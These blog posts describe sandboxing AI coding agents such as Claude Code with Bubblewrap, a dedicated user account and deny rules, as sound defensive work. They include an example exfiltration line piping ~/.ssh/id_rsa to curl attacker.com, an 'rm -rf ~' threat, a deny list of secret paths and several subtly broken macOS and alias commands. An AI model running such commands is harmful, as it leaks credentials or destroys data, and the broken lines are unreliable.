A detailed writeup of Claude Code constrained by Bubblewrap.

An AI agent that can edit files can also delete them. Here’s a detailed explanation of how I set boundaries while still keeping Claude powerful.

When you let an AI assistant run commands on your computer, you face a problem: the assistant needs enough access to help you, but you don’t want it wandering through your entire system, reading your .env files, scanning your photos. Last week I wrote about how you can use Bubblewrap to prevent agents from accessing your files. There were some interesting comments on HackerNews that inspired me to do some further experimentation and explanation of my config.

I wanted to write a more detailed summary about this config for anyone who is going to try and incorporate bubblewrap into your workflow. I also want to make it insanely easy for you to get started with your bubble wrapping. To that end, I have a couple of Git Repositories you can clone to get started.

If you want to get started with bubblewrap+claude, you can use one of my sample scripts. Btw- I also created versions for fire jail & Apple’s “Containers”

https://github.com/CaptainMcCrank/SandboxedClaudeCode

The bubblewrap script passes all arguments through to Claude via “$@”. Just append your arguments after the script:

./bubblewrap_claude.sh --dangerously-skip-permissions "ruminate on the nature of life"

Don’t trust strangers on the Internet. Here is a git repository of tests you can use to prove if the containers work. read them and understand them. I have exposition below that explains each test in detail. They will help you understand how to execute the tests and validate if the controls work.

https://github.com/CaptainMcCrank/BlogCode/tree/main/BubblewrapTests

The approach above will give your bubblewrap container access to a file system structure like the following:

I welcome collaboration! Please file git issues against my code if you think you have a better approach!


The Complete Command

Here’s the full Bubblewrap command. Save this as a script (e.g., sandboxed-claude.sh), make it executable with chmod +x sandboxed-claude.sh, then run it from any project directory.

#!/usr/bin/env bash

# Optional paths - only bind if they exist
OPTIONAL_BINDS=""
[ -d "$HOME/.nvm" ] && OPTIONAL_BINDS="$OPTIONAL_BINDS --ro-bind $HOME/.nvm $HOME/.nvm"
[ -d "$HOME/.config/git" ] && OPTIONAL_BINDS="$OPTIONAL_BINDS --ro-bind $HOME/.config/git $HOME/.config/git"

bwrap \
  --ro-bind /usr /usr \
  --ro-bind /lib /lib \
  --ro-bind /lib64 /lib64 \
  --ro-bind /bin /bin \
  --ro-bind /etc/resolv.conf /etc/resolv.conf \
  --ro-bind /etc/hosts /etc/hosts \
  --ro-bind /etc/ssl /etc/ssl \
  --ro-bind /etc/passwd /etc/passwd \
  --ro-bind /etc/group /etc/group \
  --ro-bind "$HOME/.ssh/known_hosts" "$HOME/.ssh/known_hosts" \
  --bind "$(dirname $SSH_AUTH_SOCK)" "$(dirname $SSH_AUTH_SOCK)" \
  --ro-bind "$HOME/.gitconfig" "$HOME/.gitconfig" \
  $OPTIONAL_BINDS \
  --ro-bind "$HOME/.local" "$HOME/.local" \
  --bind "$HOME/.npm" "$HOME/.npm" \
  --bind "$HOME/.claude" "$HOME/.claude" \
  --bind "$PWD" "$PWD" \
  --tmpfs /tmp \
  --proc /proc \
  --dev /dev \
  --setenv HOME "$HOME" \
  --setenv USER "$USER" \
  --setenv SSH_AUTH_SOCK "$SSH_AUTH_SOCK" \
  --share-net \
  --unshare-pid \
  --die-with-parent \
  --chdir "$PWD" \
  "$(which claude)" "$@"

This looks complex. I promise it’s not. The only weirdness is at the beginning, where the script checks for optional paths like .nvm and .config/git before binding them. Node.js can be managed with different version management tools- I use nvm- so I needed to give the sandbox access to nvm. I also specify the git config directory because it’s location varies on different operating systems. If your agent uses other version managers (like fnmasdf, or volta), add similar conditional binds for their directories.

The rest of this post explains what each piece does and why I included it.


The System Tools

Your computer stores its programs in folders like /usr/lib, and /bin. These folders contain thousands of tools: file editors, network utilities, programming languages, and more.

I give the AI read-only access to these folders. “Read-only” means the AI can use these tools but cannot change them. The AI can run git to manage code. The AI can run node to execute JavaScript. But the AI cannot replace these programs with different versions or delete them- because the sandbox doesn’t get sufficient privileges to overwrite the files.

We explicitly bind read access to the directories that have binaries we need for the session. If we try to run a tool from a directory that wasn’t included in the sandbox, the shell will respond with “command not found” during the sandboxed session.

I also give the sandbox access to a few files from /etc, The Linux system’s configuration folder:

  • /etc/resolv.conf: We need to give the container access to dns- so we provide read access to resolv.conf. Without this, DNS lookups fail. The AI cannot translate “github.com” into an IP address, which means networking-dependent commands like  git clone and npm install would break.
  • /etc/ssl: This directory is where OpenSSL and the libraries/tools that depend on it look by default for trust anchors and configuration. Without this, HTTPS connections fail. The AI cannot verify that a server is who it claims to be.
  • /etc/passwd and /etc/group: /etc/passwd and /etc/group are the local account databases — the flat-file backing store for user and group identity on the system. Despite the name, modern passwd holds no passwords; that moved to /etc/shadow decades ago. Without these, programs in the sandbox display raw numeric IDs instead of usernames. Git commits show “1000” instead of “patrick.”

Your Personal Files

You keep important files in your home folder. Some binaries depend on files in this location. Git needs your .gitconfig file to know your name and email. Node.js lives in your .nvm folder.

In this sandbox, I give the binary access to these files as read-only. The Agent can use your git identity to make commits. But the Agent in this sandbox cannot change your git settings or modify your configuration files.

SSH Access Without Exposing Your Keys

SSH keys prove your identity to remote servers. Exposing them directly to the sandbox creates risk—the AI could read the private key files that are supposed to stay secret. I vend agents access to keys without exposing the secret keys using SSH agent forwarding.

The SSH agent runs outside the sandbox on your host machine. It holds your decrypted keys in memory. Any binaries on the system with access to the socket can use SSH-agent to make authenticated requests using the agent. We give the sandbox access to the SSH_AUTH_SOCKET as an environment variable. Programs inside the sandbox can then connect to the agent to sign requests without having access to secret keys..

Here’s how to set it up:

Step 1: Start the SSH agent (if not already running)

Most Linux desktop environments start the agent automatically. Check if yours is running:

echo $SSH_AUTH_SOCK

If this prints a path like /run/user/1000/keyring/ssh, your agent is running and you’re set.

Important: If SSH_AUTH_SOCK is empty, you can start an agent manually with eval "$(ssh-agent -s)". However, manually started agents create sockets under /tmp (e.g., /tmp/ssh-XXXXX/agent.1234). This conflicts with our sandbox’s --tmpfs /tmp mount, which creates an isolated /tmp that hides the host’s socket.

If you must use a manually started agent, either:

  1. Start the agent with a custom socket location: ssh-agent -a /run/user/$(id -u)/ssh-agent.sock and export SSH_AUTH_SOCK accordingly
  2. Or move the --tmpfs /tmp line in the script to appear before the --bind "$(dirname $SSH_AUTH_SOCK)" line (bind mounts take precedence over earlier tmpfs mounts for their specific paths)

For simplicity, I’d recommend using your desktop environment’s built-in agent when possible.

Step 2: Add your key to the agent

ssh-add ~/.ssh/id_ed25519

Replace id_ed25519 with your key’s filename. The agent prompts for your passphrase once, then holds the decrypted key in memory.

Step 3 (Optional but recommended): Require confirmation for each use

ssh-add -c ~/.ssh/id_ed25519

The -c flag tells the agent to ask for confirmation every time something tries to use the key. A dialog box appears on your screen: “Allow use of key?” You must click confirm. The AI cannot bypass this—the prompt happens outside the sandbox.

What this buys you:

ApproachAI can read private key?AI can use key silently?
Direct ~/.ssh bindingYesYes
SSH agentNoYes
SSH agent with -c flagNoNo

The sandbox script binds only ~/.ssh/known_hosts (so SSH can verify server identities) and the agent socket (so SSH can request signatures). Your private key files stay outside the sandbox entirely.


The Working Directory

Your agent will need to develop software within a specific project folder. The Agent’s sandbox needs write access to that folder to create files, modify code, and delete outdated artifacts.

I bind the current working directory ($PWD) with read-write access. When you run the sandbox script from /home/youruser/projects/my-app, the AI can modify anything inside my-app. When you run it from a different folder, the AI works there instead. The sandbox adapts to wherever you invoke it.

This scoping provides two benefits. First, the AI can do useful work—writing code, running builds, managing files. Second, the AI cannot touch anything outside that folder. Your other projects, your documents, your system files all remain invisible and unreachable.

I also give write access to two other locations outside your project folder.

The .npm folder stores downloaded packages. When the AI runs npm install, npm caches packages here so future installs run faster. Without write access, the AI could still install packages into your project’s node_modules, but every install would re-download everything from scratch. With write access to .npm, the AI can install dependencies at normal speed and benefit from cached packages across all your projects.

The .claude folder stores authentication credentials. This binding deserves special attention. When you first run Claude, you authenticate through your browser. Claude stores a session token in ~/.claude so you don’t repeat this process every time. Without write access to this folder, the sandbox cannot persist your login. You would need to re-authenticate every time you start the sandboxed Claude—a significant usability problem. With write access, you log in once and the session persists across sandbox invocations.


The Fake Temporary Folder

Every program needs a place to store temporary files. Normally, programs use /tmp, a shared folder visible to everything on your computer.

I create a fake /tmp that only the sandboxed Agent can see. When the agent writes temporary files, those files exist only inside the sandbox. When the sandbox closes, those files vanish.

This prevents the sandboxed agent from leaving debris scattered across your system. It also prevents the Agent from reading temporary files that other programs created.


Process Isolation

Your computer runs hundreds of processes at once: your web browser, your music player, system services, and more. Normally, any program can see the full list of running processes.

The --unshare-pid flag creates a separate process namespace for the sandbox. When the sandboxed Agent looks at running processes, it sees only itself and the programs it started. Your browser, your email client, your other terminals—all invisible. This prevents the sandboxed agent from sending signals to other programs or inspecting what they do.

The --die-with-parent flag sets a kill switch: if the parent process dies, the sandbox dies with it. No orphaned AI processes linger after you close your terminal.


The Network Question

Networks present the hardest choice.

An Agent with network access can clone repositories, install packages, and fetch documentation. A agent without network access cannot do any of those things.

An agent with network access can also send files or other information to external servers. This represents a real exfiltration risk when working with private codebases or any unsavory source prompts.

I chose to allow network access in my sandboxed agents. Most programming tasks require networking. But you should understand: when you add networking, there is a risk that anything that could be read by the agent can also be exfiltrated out to some uncontrolled location on the Internet.

A paranoid setup would disable networking entirely. You would pre-download all dependencies, clone all repositories ahead of time, and work offline. This approach works for high-security situations but severely hampers the development workflow of modern developers.


What Sandboxing Buys You

The sandbox prevents accidents and limits damage.

The properly sandboxed Agent cannot read your documents, photos, or browser history—I never shared those folders. The properly sandboxed Agent cannot install system-wide packages or modify your shell configuration. The properly sandboxed Agent cannot see your password manager or read your email.

The Sandboxed Agent operates in a controlled space: your project folder, plus the tools needed to work on it.


What This Does Not Buy You

The sandbox implemented above does not prevent a network exfiltration event. It also does not prevent damage to your project folder. The Agent has full write access there- which means it can delete everything.

Security involves tradeoffs. I have tried to balance usability and protection. A tighter sandbox would be safer but less easy to use during experimentation & rapid development.

This configuration is useful for everyday development work. You’ll get protection from casual mistakes- but it would be vulnerable to sophisticated attacks. For most scrappy programming tasks, this sandbox approach should be considered a general improvement over default unsandboxed agents.


Testing Your Sandbox

Before trusting this sandbox config, you should verify it works. These commands let you poke at the sandbox and confirm that it prevents bad outcomes:

Test 1: Confirm your home directory contents are hidden

bwrap \
  --ro-bind /usr /usr \
  --ro-bind /lib /lib \
  --ro-bind /lib64 /lib64 \
  --ro-bind /bin /bin \
  --bind "$PWD" "$PWD" \
  --tmpfs /tmp \
  --proc /proc \
  --dev /dev \
  --chdir "$PWD" \
  /bin/sh -c "ls $HOME/.bashrc 2>&1; ls $HOME/Documents 2>&1"

Both commands should fail with “No such file or directory”. Note that ls $HOME itself may show a partial directory structure (like Development) because Bubblewrap creates the path hierarchy needed to reach your bound $PWD. But the actual contents of your home folder—config files, documents, other projects—remain invisible.

Test 2: Confirm you cannot write to read-only paths

bwrap \
  --ro-bind /usr /usr \
  --ro-bind /lib /lib \
  --ro-bind /lib64 /lib64 \
  --ro-bind /bin /bin \
  --ro-bind "$HOME/.gitconfig" "$HOME/.gitconfig" \
  --bind "$PWD" "$PWD" \
  --tmpfs /tmp \
  --proc /proc \
  --dev /dev \
  --chdir "$PWD" \
  /bin/sh -c "echo 'test' >> $HOME/.gitconfig"

This should fail with “Read-only file system”. The sandbox prevents writes to paths mounted with --ro-bind.

Test 3: Confirm you CAN write to the working directory

bwrap \
  --ro-bind /usr /usr \
  --ro-bind /lib /lib \
  --ro-bind /lib64 /lib64 \
  --ro-bind /bin /bin \
  --bind "$PWD" "$PWD" \
  --tmpfs /tmp \
  --proc /proc \
  --dev /dev \
  --chdir "$PWD" \
  /bin/sh -c "touch sandbox-test-file && rm sandbox-test-file && echo 'Write access confirmed'"

This should print “Write access confirmed”. The sandbox allows writes to paths mounted with --bind.

Test 4: Confirm process isolation

bwrap \
  --ro-bind /usr /usr \
  --ro-bind /lib /lib \
  --ro-bind /lib64 /lib64 \
  --ro-bind /bin /bin \
  --bind "$PWD" "$PWD" \
  --tmpfs /tmp \
  --proc /proc \
  --dev /dev \
  --unshare-pid \
  --chdir "$PWD" \
  /bin/ps aux

This should show only a few processes (ps itself and its parent). Your browser, terminal, and other applications stay hidden.

Test 5: Confirm /tmp isolation

Run this in one terminal:

echo "secret from host" > /tmp/host-secret.txt

Then run this in the sandbox:

bwrap \
  --ro-bind /usr /usr \
  --ro-bind /lib /lib \
  --ro-bind /lib64 /lib64 \
  --ro-bind /bin /bin \
  --bind "$PWD" "$PWD" \
  --tmpfs /tmp \
  --proc /proc \
  --dev /dev \
  --chdir "$PWD" \
  /bin/cat /tmp/host-secret.txt

This should fail with “No such file or directory”. The sandbox has its own empty /tmp and cannot see files in the host’s /tmp.

Test 6: Confirm SSH agent works but keys are hidden

First, verify you have a key loaded in your agent:

ssh-add -l

This should list your key. Now test that the sandbox can use the agent but cannot read the key file:

bwrap \
  --ro-bind /usr /usr \
  --ro-bind /lib /lib \
  --ro-bind /lib64 /lib64 \
  --ro-bind /bin /bin \
  --ro-bind "$HOME/.ssh/known_hosts" "$HOME/.ssh/known_hosts" \
  --bind "$(dirname $SSH_AUTH_SOCK)" "$(dirname $SSH_AUTH_SOCK)" \
  --bind "$PWD" "$PWD" \
  --tmpfs /tmp \
  --proc /proc \
  --dev /dev \
  --setenv SSH_AUTH_SOCK "$SSH_AUTH_SOCK" \
  --chdir "$PWD" \
  /bin/sh -c "ssh-add -l && cat ~/.ssh/id_ed25519"

The first command (ssh-add -l) should succeed and list your keys. The second command (cat ~/.ssh/id_ed25519) should fail with “No such file or directory”. The sandbox can use your SSH identity through the agent, but cannot read the private key file itself.


If all six tests pass, your sandbox walls are solid. The AI operates in the space you defined—no more, no less. Again- you can just git clone these tests from https://github.com/CaptainMcCrank/BlogCode/tree/main/BubblewrapTests.

Happy hacking!

A better way to limit Claude Code (and other coding agents!) access to Secrets

Last week I wrote a thing about how to run Claude Code when you don’t trust Claude Code. I proposed the creation of a dedicated user account & standard unix access controls. The objective was to stop Claude from dancing through your .env files, eating your secrets. There are some usability problems with that guide- I found a better approach and I wanted to share.

TL;DR: Use Bubblewrap to sandbox Claude Code (and other AI agents) without trusting anyone’s implementation but your own. It’s simpler than Docker and more secure than a dedicated user account. Bubblewrap delivers a sweet spot combination of control AND flexibility that enables experimentation.

What Changed Since My Last Post

Immediately after publishing, I caught the flu. During three painful days in bed, I realized there are other better approaches. Firejail would likely work well- but also there’s another solution called Bubblewrap.

As I dug into Bubblewrap, I realized something else… Anthropic uses Bubblewrap!

But Anthropic embeds bubblewrap in their client. This implementation has a major disadvantage.

Embedding bubblewrap in the client means you have to trust the correctness and security of Anthropic’s implementation. They deserve credit for thinking about security, but this puzzles me. Why not publish guidance so users can secure themselves from Claude Code? Aren’t we going to need this for ALL agents? Isn’t this solution generalizable?

Defense-in-depth means we don’t rely on any single vendor to execute perfectly 100% of the time. Plus, this problem applies to all coding agents, not just Claude Code. I want an approach that doesn’t tie my security to Anthropic’s destiny.

The Security Problem We’re Solving

Before we dive into Bubblewrap, here’s what we’re protecting against:

  • You want to run a binary that will execute under your account’s permissions
  • Your account has access to sensitive files unrelated to the project you’re working on
  • You want your binary to invoke other standard system tools like lsps -aux, or less
  • We want to invoke this binary while easily preventing it from accessing sensitive files unrelated to binary’s activities

What if Claude Code has a bug? What happens if the bug is exploited, and bubblewrap constraints embedded within the client are not activated? Will Claude Code run rm -rf ~ or cat ~/.ssh/id_rsa | curl attacker.com?

Without your own wrapping of the agent, you’re at risk. When you wrap your coding agent calls with Bubblewrap, the agent’s access to dangerous commands is prevented.

What Is Bubblewrap?

Bubblewrap lets you run untrusted or semi-trusted code without risking your host system. We’re not trying to build a reproducible deployment artifact. We’re creating a jail where coding agents can work on your project while being unable to touch  ~/.aws, your browser profiles, your ~/Photos library or anything else sensitive.

Let’s explore Bubblewrap through the command line:

# Install it (Debian/Ubuntu)
sudo apt install bubblewrap

# Simplest possible sandbox - just isolate the filesystem view
bwrap --ro-bind /usr /usr --symlink usr/lib /lib --symlink usr/lib64 /lib64 \
      --symlink usr/bin /bin --proc /proc --dev /dev \
      --unshare-all --die-with-parent \
      /bin/bash

# Inside the sandbox, try:
ls /home          # Empty or nonexistent
ls /etc           # Empty or nonexistent  
whoami            # Shows "nobody" or your mapped user
ping google.com   # Fails - no network

How This Command Works

This command creates a minimal sandboxed environment. Here’s what each part does:

Filesystem access:

  • --ro-bind /usr /usr mounts your system’s /usr directory as read-only inside the sandbox
  • The --symlink commands create shortcuts so programs can find libraries and binaries in expected locations
  • --proc /proc and --dev /dev give minimal access to system processes and devices

Isolation:

  • --unshare-all disconnects the sandbox from all system resources (network, shared memory, mount points, etc.)
  • --die-with-parent kills the sandbox if your main terminal closes

The Result:

Bash runs inside a stripped-down environment. It can execute programs from /usr but can’t see your home directory, config files, or access the network. Programs work, but they’re operating in a ghost town version of your filesystem.

Why Bubblewrap Beats Docker

This beats Docker for quick workflows. Docker requires a running daemon and lots of configuration files. Bubblewrap lets you execute your app directly—no daemon, no stale containers cluttering your system.

If you’re experienced enough to worry about Docker misconfigurations, Bubblewrap gives you more control when you need it. You just run a command. No YAML files or debugging background services.

Quick Start: Running Claude Code with Bubblewrap

A big part of the reason for needing this, is –dangerously-skip-permissions. There are times when it’s very useful to give an agent autonomy in desiging, experimenting & implementing systems. Last week, I built a wifi access point that hosts a Quakeworld Server and vends web assembly quake clients. It’s an instant-lan party in a box. I did this unattended and it works. –dangerously-skip-permissions is very powerful- assuming you know how to aim it safely.

Here’s how I run Claude Code with --dangerously-skip-permissions inside a Bubblewrap sandbox:

PROJECT_DIR="$HOME/Development/YourProject"
bwrap \
     --ro-bind /usr /usr \
     --ro-bind /lib /lib \
     --ro-bind /lib64 /lib64 \
     --ro-bind /bin /bin \
     --ro-bind /etc/resolv.conf /etc/resolv.conf \
     --ro-bind /etc/hosts /etc/hosts \
     --ro-bind /etc/ssl /etc/ssl \
     --ro-bind /etc/passwd /etc/passwd \
     --ro-bind /etc/group /etc/group \
     --ro-bind "$HOME/.gitconfig" "$HOME/.gitconfig" \
     --ro-bind "$HOME/.nvm" "$HOME/.nvm" \
     --bind "$PROJECT_DIR" "$PROJECT_DIR" \
     --bind "$HOME/.claude" "$HOME/.claude" \
     --tmpfs /tmp \
     --proc /proc \
     --dev /dev \
     --share-net \
     --unshare-pid \
     --die-with-parent \
     --chdir "$PROJECT_DIR" \
     --ro-bind /dev/null "$PROJECT_DIR/.env" \
     --ro-bind /dev/null "$PROJECT_DIR/.env.local" \
     --ro-bind /dev/null "$PROJECT_DIR/.env.production" \
     "$(command -v claude)" --dangerously-skip-permissions "Please review Planning/ReportingEnhancementPlan.md"

Key Configuration Lines:

# Required for Claude Code to work
--ro-bind "$HOME/.nvm" "$HOME/.nvm" \

# Claude stores auth here. Without this, you'll re-login every time
--bind "$HOME/.claude" "$HOME/.claude" \

# Only add if you understand why you need SSH access
# --ro-bind "$HOME/.ssh" "$HOME/.ssh" \

# Block access to your .env files by overlaying with empty files (You need to know exact path of files 

     --ro-bind /dev/null "$PROJECT_DIR/.env" \
     --ro-bind /dev/null "$PROJECT_DIR/.env.local" \
     --ro-bind /dev/null "$PROJECT_DIR/.env.production" \

Important: Most people don’t need the SSH line. It gives your agent the ability to SSH into systems where you’ve copied a public key. If you don’t understand the utility, don’t add it.

Why Not a Dedicated User Account?

My previous post proposed creating a custom user account for Claude on the host OS. This approach has three major problems:

1. ACL Tuning Becomes a Usability Nightmare

You’ll fight with file permissions constantly. You need to tune Access Control Lists to prevent access to sensitive .env files. This type of friction has killed security initiatives for decades. Security dies on usability hills.

I came up with that approach while getting sick with the flu. Please accept my apologies.

2. No Network Connectivity Restrictions

A custom account doesn’t solve the network access problem. Claude agents can spin up sockets and connect to whatever they want. Unless you run UFW and restrict outbound connectivity from your host, you risk your agent exfiltrating content.

I’ve been creating agents that remotely administer and tune servers. It’s not responsible to let agents have source:any destination:any access to your network or the Internet. One wrong prompt puts you at risk of data exfiltration. My previous solution was incomplete.

3. Docker Is the Wrong Tool

Docker solves the “it works on my machine” problem when moving code from your laptop to production servers. But most people aren’t deploying frequently enough to maintain strong Docker skills.

Setting up filesystems and networking in containers takes mental effort. If you just want to run a command safely, you shouldn’t need to install and configure a background service. People want something that works quickly without the cognitive overhead.

Why Use Your Own Bubblewrap Instead of Anthropic’s Sandbox?

Everyone makes security mistakes eventually. Claude Code is potentially dangerous. Which approach is safer?

Trust Anthropic: Hope their team never makes an implementation mistake that breaks security controls.

or

Don’t Trust Anthropic: Implement your own access controls in the operating system that constrain the binary at runtime.

There is one other big reason you should know how to leverage Bubblewrap. You need a solution for sandboxing agents that aren’t Claude Code.

Agents should never be considered trustworthy. Even when they have security controls. Put controls around them—don’t rely on agents built with models that have experienced misalignment.

A comparison of what you’re trusting with user-wrapped invocation of bubblewrap versus embedded bubblewrap in a client

Running Bubblewrap Yourself:

  • The Linux kernel’s namespace implementation
  • The Bubblewrap binary (small, auditable codebase)
  • Your own configuration (you wrote it, you understand it)
  • Your own proxy/filtering code

Using Anthropic’s Sandbox Runtime:

  • Everything above, plus:
  • Anthropic’s wrapper code and configuration choices
  • Anthropic’s filtering proxy implementation
  • Anthropic’s update/distribution mechanism (npm)
  • That Anthropic’s security interests align with yours

The Trust Matrix

Trust isn’t binary—it’s about understanding what you’re trusting and why. Here’s a quick comparison:

ThreatDIY bwrapAnthropic SRT
Claude accidentally rm -rf ~✓ Protected✓ Protected
Claude exfiltrating ~/.ssh✓ Protected✓ Protected
Supply chain attack via npm✓ Not exposed✗ Exposed
Subtle misconfiguration✗ Your risk✓ Their expertise
Agent Telemetry you don’t want sent✓ You control? Their choice
Novel bypass techniques✗ You’re on your own✓ Their team watches

So in Anthropic’s defense: this is not cut-and-dried. Most companies don’t have resources for great security teams. You have to decide whether you can own this. Many companies will be wise to rely on Anthropic’s expertise. Their reputation is on the line if someone breaks their sandbox implementation. But you’re going to be locked into Anthropic’s security model if you don’t learn how to wield bubblewrap. Pivoting to a new agent will require figuring out security there. Why not just rip the band aid off and learn bubblewrap?

Don’t trust me either!

This has been a fun writeup on trusting trust. TRUST ME!

But you shouldn’t trust me! I might be a Dog on the Internet. Maybe I’m ai slop?!

Here is some code you can use to test the bwrap container I provided for my claude usage. Note that this is invoked different- we’re not going to call claude- we’re going to call bash and pass it the test script. My test script is available here:

All you need to do is create a YourProject folder in your ~/$HOME/Development directory. Then create a sandbox-escape-test.sh in there. Fill it with the test code from my github.

Read and understand what the script does before executing it. This post is already pretty long 😀

Wrapping Up

I’m building with many agents—not just Claude Code. I need a generalized solution for sandboxing that I can apply to other agents.

Anthropic deserves attention and credit for the constraints they’re giving you. I wish they had published them in a way that doesn’t tie your security destiny to their ability to execute correctly 100% of the time.

The choice is yours: trust a vendor’s implementation, or take control of your own security boundaries. Both are valid. I might be paranoid. Are you feeling lucky?

p.s. If I ever get run over by a flaming pizza truck, here’s a handy 1 liner:

claude "Act as a security expert with a specialization in Linux system security.  Help me generate a bubblewrap script for safely invoking coding agents so they do not have access to sensitive data on my file system and appropriately manage other security risks, even though they're going to be invoked under my account's permissions.  Let's talk through everything that the agent should be able to do & access first, and then generate an appropriate bwrap script for delivering that capability.  Then let's discuss what access we should restrict."

Need help on topics related to this? I’m currently freelance! Let’s connect and build secure things at incredibly high speed:

https://www.linkedin.com/in/patrickmccanna

Keeping secrets from Claude Code

How to keep your .env files safe from AI coding assistants

UPDATE: This post blew up! But I discovered a FAR SUPERIOR approach. You still might like this! But bubblewrap is faster and more flexible.

https://patrickmccanna.net/a-better-way-to-limit-claude-code-and-other-coding-agents-access-to-secrets/


Someone posted online:

“I like how Claude Code casually reads my .env file.”

This is an accurate assessment of Claude Code. Claude Code reads .env files by default. It loads your API keys, database passwords and tokens into memory without asking.

Is this unappealing to you? Here’s how to manage that risk.

The Problem

Claude Code can read .env files automatically. If you run it without -dangerously-skip-permissions, normally it’ll ask permission for access. But what if claude stops acting normal?

Should the secrecy of your file rely on a system that prevents access to your file till you just type in the phrase ‘yes’?

How is it possible that claude code can’t access the file some times- and other times it can?

It’s possible because you’re logged in and running claude under your user account. Claude has all the permissions it needs to masquerade as you! Claude always had access to the file! It’s just being polite. The politeness of LLMs cannot be relied upon. When you run claude this way, any file accessible by you is accessible by claude.

Claude code is not supposed to break out of the Current Working Directory. But what technical constraints prevent it? If you run claude under your account, there’s no Linux/Mac OS control that prevents it from getting around to the photos/docs you have access to.

You’re trusting Claude to be polite and behave the way you expect.

If you invoke Claude (or any coding agent) under your user account, you’re trusting trust. Don’t despair! Here’s how to run Claude when you’re working on systems that demand safety.

The First Defense: A Separate User

Give Claude its own identity. Create the ‘Claude’ Group and User accounts.

On Linux:

# Create a group for Claude
sudo groupadd claude

# Create a user with no home directory privileges beyond basics
sudo useradd -m -g claude -s /bin/bash claude

# Set a password (you’ll need it for sudo later)
sudo passwd claude

On macOS:

# Create a group (find an unused GID first)
sudo dscl . -create /Groups/claude
sudo dscl . -create /Groups/claude PrimaryGroupID 400

# Create the user
sudo dscl . -create /Users/claude
sudo dscl . -create /Users/claude PrimaryGroupID 400
sudo ddcl . -create /Users/claude UserShell /bin/bash
sudo dscl . -create /Users/claude NFSHomeDirectory /Users/claude
sudo dscl . -create /Users/claude UniqueID 400

# Create home directory and set ownership
sudo mkdir -p /Users/claude
sudo chown claude:claude /Users/claude

# Set password
sudo passwd claude

The claude user now exists- run claude as it’s own user and keep the secrets files outside the permissions of the claude user.

Lock Down Your .env Files

Your secrets need permissions that exclude the claude user.

# Navigate to your project
cd /path/to/your/project

# Set ownership to yourself
chown $(whoami):$(whoami) .env

# Lock Down Your .env Files
# Remove all permissions for others
# Owner can read and write.
# Group and others get nothing

chmod 600 .env

The 600 permission means only you can read the file. The claude user belongs to a different group.

For extra certainty, explicitly deny the claude group:

# make sure .env is owned by your primary group

chown $(whoami):$(id -gn) .env chmod 640 .env

Verify your work:

ls -la .env

You should see something like -rw------- or -rw-r-----. The important part: no permissions on the right side for “others.”

Run Claude under the Claude user account

Become claude! Claude now runs with our claude user’s permissions. Your secrets remain invisible to the claude user because you’ve acl’d away access to the .env file

# Switch to claude user and run Claude Code

sudo -u claude claude

That’s it. sudo -u claude runs the command that follows as the claude user. Claude Code launches. If it tries to read your .env file, it’ll get a permissions denied error it can’t overcome.

For convenience, create an alias:

# Add to your .bashrc or .zshrc alias
claudecode=’sudo -u claude claude’

Now you type claudecode and everything’s safe

Summarizing:

# One-time setup (Linux)
sudo groupadd claude
sudo useradd -m -g claude -s /bin/bash claude
sudo passwd claude

# Per-project setup
cd /your/project
chown $(whoami):$(whoami) .env
chmod 600 .env

# Daily usage
sudo -u claude claude

  • Create a dedicated user for claude
  • Set file permissions that exclude the claude user from access to sensitive files
  • Invoke claude with sudo -u claude. let the OS enforce boundaries

The claude user can read your source code. It can write to project directories if you grant that access. But it cannot touch files owned by you with restrictive permissions. The operating system enforces this.

In the next section, I’ll summarize Anthropic’s stated controls. When you go this route, you’re trusting Anthropic to not only respect your wishes, but to write code so secure that it always and only does what they intend. All software has mistakes, even Anthropic’s. Buyer beware.

I include this next section out of respect for Anthropic- but my judgement is that using the following approach will eventually bite you in the butt.


The Second Defense: Deny Rules

Claude has mechanisms for restricting access. You’re trusting Anthropic to do the right thing correctly all the time. Anthropic has published mechanisms for telling Claude Code what it cannot touch. Do this before you write your first line of code. The configuration lives in ~/.claude/settings.json.

Create the file. Add these rules:

{ "permissions": 
    { "deny": [ 
        "Read(**/.env*)", 
        "Read(**/secrets/**)", 
        "Read(**/*credentials*)", 
        "Read(**/*secret*)", 
        "Read(~/.ssh/**)", 
        "Read(~/.aws/**)", 
        "Read(~/.kube/**)" ] 
    } }

The double asterisks catch nested directories. They catch the .env.local file you forgot you had.

Test your rules. Ask Claude Code to read your .env file. It should fail. If it reads the file anyway, something is wrong. Fix it before you continue.

The anthropic access controls are like putting a lock on your door. It keeps honest people honest. Locks can be picked. AI assistants can be influenced into circumventing their own controls.


An alternative approach: Containers

Containers are an approach for protecting secrets.

Run Claude Code inside a Docker container or a virtual machine. Give it access only to what it needs. The container is a sandbox the AI plays within. Your secrets stay outside the container. Make claude build the thing- it can have its own internal .env files- but for prod, you change your secrets.

Configure your container with read-only volumes for code. Mount nothing sensitive.

The AI agent can see project files in your container. It cannot see your home directory. It cannot see your SSH keys. It can’t probe through the Photos library in your home directory.

This approach follows the principle of least privilege. Grant minimum access required. Assume the worst.

My advice: Use operating system permissions, user accounts and groups

Leveraging Operating system access controls is defense in depth. Deny rules can be misconfigured. Vault integrations can fail. But Unix permissions have guarded secrets for a long time. You have to decide which risk is more probable: Kernel exploits that circumvent ACL’s or prompt engineering that pushes the Agent to access secrets. I’m going to put my resources into ACL’s and good OS hygenie. Then approaches don’t get distracted by clever prompts.

The Truth About AI Security

There is no going back. Claude is insanely useful. Coding agents write code faster than you can. They explain concepts clearly.

Coding agents are also prone to probabilistic outbursts. If you need to keep secrets, use deterministic/idempotent operating system access controls for preventing access.

Using custom AI Agents to Migrate Self-Hosted Services Between Servers

Migrations are hard.

I ran into an infrastructure challenge during my IoT development. A Raspberry Pi 5 (kbr server) ran three self-hosted services—Planka (Kanban boards), Ghost (blog), and Homer (dashboard). I needed to migrate them to a more powerful server running AMD Ryzen hardware. This would free my dev box up to experiment with new features in my Kanban/Blog/Reporting (KBR) tool.

The server I want to migrate to is already hosting critical AI services (Ollama, Open WebUI, and n8n). I do not want them disrupted during the migration.

Both systems used Cloudflare Tunnels for secure external access, Docker for containerization. They each had existing Ansible playbooks for deployment and backup. I wanted to:

  • Fully migrate production services from a Pi to the new server
  • Preserve all data (posts, drafts, images, kanban cards, attachments)
  • Keep existing AI services running untouched
  • Convert the old Pi into a development environment
  • Execute a clean DNS cutover with minimal downtime

The big problem is the limitations of my own brain. As I’ve been doing more AI supported development, the pace of my achievements is making it hard for me to maintain awareness of how everything is configured. I built this system months ago. My memory of how to backup and rebuild everything has faded. I had playbooks for building, but migrating existing data to a new deployment is a different beast.

Discovery Phase: Understanding Both Systems

